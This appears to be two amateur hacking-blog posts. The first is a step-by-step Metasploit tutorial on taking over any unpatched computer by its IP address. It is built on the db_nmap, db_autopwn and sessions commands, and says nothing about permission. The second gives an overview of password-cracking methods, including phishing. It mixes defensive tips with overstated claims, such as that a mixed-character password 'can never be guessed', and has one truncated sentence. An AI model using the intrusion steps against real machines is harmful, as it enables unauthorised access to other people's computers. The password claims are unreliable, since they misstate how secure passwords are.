How to Hack Any Computer With Just a IP

Hello and welcome to my tutorial on how to hack any computer with just a IP.
In this tutorial you'll need
- Metasploit
- postgresql
Also: This only works on unpatched computer clients. So this tutorial will not work everytime, depending on the type of PC you're going to hack.
Metasploit is constantly updated, and there are in fact working remote exploits for newer OSes in it.
HOWEVER, not all systems will be vulnerable due to a router, firewall, or something else in the way.
Furthermore, a fully patched system will of course be safe against MSF, as MSF is a public tool using a collection of public exploits.
Make sure you download the right programs with your OS system. ( The one which you're currently supporting on your PC )
1. First you want to open up postgresql
Once it's open click

Start --> All Programs --> PostgreSQL 9.0 --> pgAdmin III

Then right click on your server and click connect. Remember to keep this open the whole time, otherwise it will fail and you'll have to restart again.

Now it's time to start. First

Start -- > All Programs --> Metasploit Framework

once you're there open up Metasploit gui.

Now in the CMD window type

db_connect postgres: ThePassYouChose@localhost:5432

Once you've connected type in

db_host

to make sure you've actually connected to the server.

If that is correct then type in

db_nmap 127.0.0.1

IMPORTANT NOTE: Where I typed 127.0.0.1 replace that with the IP you want to hack.

Now it's time to exploit shit.
Let's start. First type in

db_autopwn -t -p -e -s -b

It will start. This will take a while, so just wait.

Once it's done type in

sessions -l

to see what the scanner found. If it worked you should see a list of exploits :D

Now once you've got the exploits to hack the computer, you'll notice, that they're all numbed, and they names.

Just pick a name from the list and type in

sessions -i YOUR EXPLOIT NAME HERE

Or for a better example

sessions -i ExploitNumber

Whatever command you want to do remember to put

sessions -i

Good luck

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Different ways of password cracking .

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.
Most passwords can be cracked by using following techniques :

1) Hashing :- Here we will refer to the one way function (which may be either an encryption function or cryptographic hash) employed as a hash and its output as a hashed password.
If a system uses a reversible function to obscure stored passwords, exploiting that weakness can recover even ‘well-chosen’ passwords.
One example is the LM hash that Microsoft Windows uses by default to store user passwords that are less than 15 characters in length.
LM hash breaks the password into two 7-character fields which are then hashed separately, allowing each half to be attacked separately.

Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly.

2) Guessing :- Many passwords can be guessed either by humans or by sophisticated cracking programs armed with dictionaries (dictionary based) and the user’s personal information.

Not surprisingly, many users choose weak passwords, usually one related to themselves in some way. Repeated research over some 40 years has demonstrated that around 40% of user-chosen passwords are readily guessable by programs. Examples of insecure choices include:

* blank (none)
* the word “password”, “passcode”, “admin” and their derivatives
* the user’s name or login name
* the name of their significant other or another person (loved one)
* their birthplace or date of birth
* a pet’s name
* a dictionary word in any language
* automobile licence plate number
* a row of letters from a standard keyboard layout (eg, the qwerty keyboard — qwerty itself, asdf, or qwertyuiop)
* a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters.
and so on….

In one survery of MySpace passwords which had been phished, 3.8 percent of passwords were a single word found in a dictionary, and another 12 percent were a word plus a final digit; two-thirds of the time that digit was.
A password containing both uppercase & lowercase characters, numbers and special characters too; is a strong password and can never be guessed.

Check Your Password Strength

3) Default Passwords :- A moderately high number of local and online applications have inbuilt default passwords that have been configured by programmers during development stages of software. There are lots of applications running on the internet on which default passwords are enabled. So, it is quite easy for an attacker to enter default password and gain access to sensitive information. A list containing default passwords of some of the most popular applications is available on the internet.
Always disable or change the applications’ (both online and offline) default username-password pairs.

4) Brute Force :- If all other techniques failed, then attackers uses brute force password cracking technique. Here an automatic tool is used which tries all possible combinations of available keys on the keyboard. As soon as correct password is reached it displays on the screen.This techniques takes extremely long time to complete, but password will surely cracked.
Long is the password, large is the time taken to brute force it.

5) Phishing :- This is the most effective and easily executable password cracking technique which is generally used to crack the passwords of e-mail accounts, and all those accounts where secret information or sensitive personal information is stored by user such as social networking websites, matrimonial websites, etc.
Phishing is a technique in which the attacker creates the fake login screen and send it to the slave, hoping that the slave gets fooled into entering the account username and password. As soon as slave click on “enter” or “login” login button this information reaches to the attacker using scripts or online form processors while the user(slave) is redirected to home page of e-mail service provider.
Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider.

It is possible to try to obtain the passwords through other different methods, such as social engineering, wiretapping, keystroke logging, login spoofing, dumpster diving, phishing, shoulder surfing, timing attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity management system attacks (such as abuse of Self-service password reset) and compromising host security.
However, cracking usually designates a guessing attack.

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